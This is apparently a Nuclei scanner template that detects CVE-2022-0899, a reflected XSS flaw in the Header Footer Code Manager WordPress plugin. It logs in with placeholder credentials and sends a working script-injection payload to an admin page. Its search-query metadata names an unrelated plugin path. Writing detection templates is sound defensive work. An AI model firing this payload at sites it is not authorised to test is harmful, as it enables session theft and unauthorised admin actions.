CVE-2022-0899: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting

id: CVE-2022-0899

info:
  name: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
  impact: |
    Authenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade to Header Footer Code Manager version 1.1.24 or later.
  reference:
    - https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0899
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0899
    cwe-id: CWE-79
    epss-score: 0.01323
    epss-percentile: 0.69466
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(/document.domain/)</script>")'
          - 'contains(body_2, "All Snippets")'
        condition: and
# digest: 4a0a0047304502206fa2142bce56ff7f50b306309c3250efaed39e7f28a0ea61308e9fba9f92d4bb022100a741f5e207b3659427f1fc874963b1c8c9c286f58bf57cdd8f2e46847bf55d41:922c64590222798bb761d5b6d8e72950

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